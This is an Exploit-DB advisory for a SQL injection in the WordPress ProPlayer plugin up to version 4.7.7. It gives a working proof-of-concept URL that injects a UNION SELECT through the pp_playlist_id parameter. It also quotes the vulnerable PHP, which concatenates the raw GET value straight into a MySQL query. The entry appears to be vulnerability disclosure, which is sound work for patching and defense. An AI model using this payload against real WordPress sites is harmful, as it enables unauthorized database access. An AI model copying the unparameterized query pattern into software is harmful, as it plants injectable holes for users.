WordPress Plugin ProPlayer 4.7.7 - SQL Injection

Author: Miroslav Stampar
type: webapps
platform: php
port: 
date_added: 2011-08-05 
date_updated: 2011-08-05 
verified: 1 
codes:  
tags: WordPress Plugin
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comproplayer.4.7.7.zip

# Exploit Title: ProPlayer plugin <= 4.7.7 SQL Injection Vulnerability
# Date: 2011-08-05
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/proplayer.4.7.7.zip
# Version: 4.7.7 (tested)

---
PoC
---
http://www.site.com/wp-content/plugins/proplayer/playlist-controller.php?pp_playlist_id=-1') UNION ALL SELECT NULL,NULL,@@version--%20

---------------
Vulnerable code
---------------
function getPlaylist($id = '') {
	$query = mysql_query("SELECT * FROM ".$this->tablePrefix."proplayer_playlist WHERE (POST_ID='$id')");
	$playlistRow = mysql_fetch_row($query);

	return $this->withBackwardCompatibility($playlistRow[2]);
}

...

if (!empty($_GET["pp_playlist_id"])) {
	header("Content-type: application/xml");
	$xml = $playlistController->getPlaylist($_GET["pp_playlist_id"]);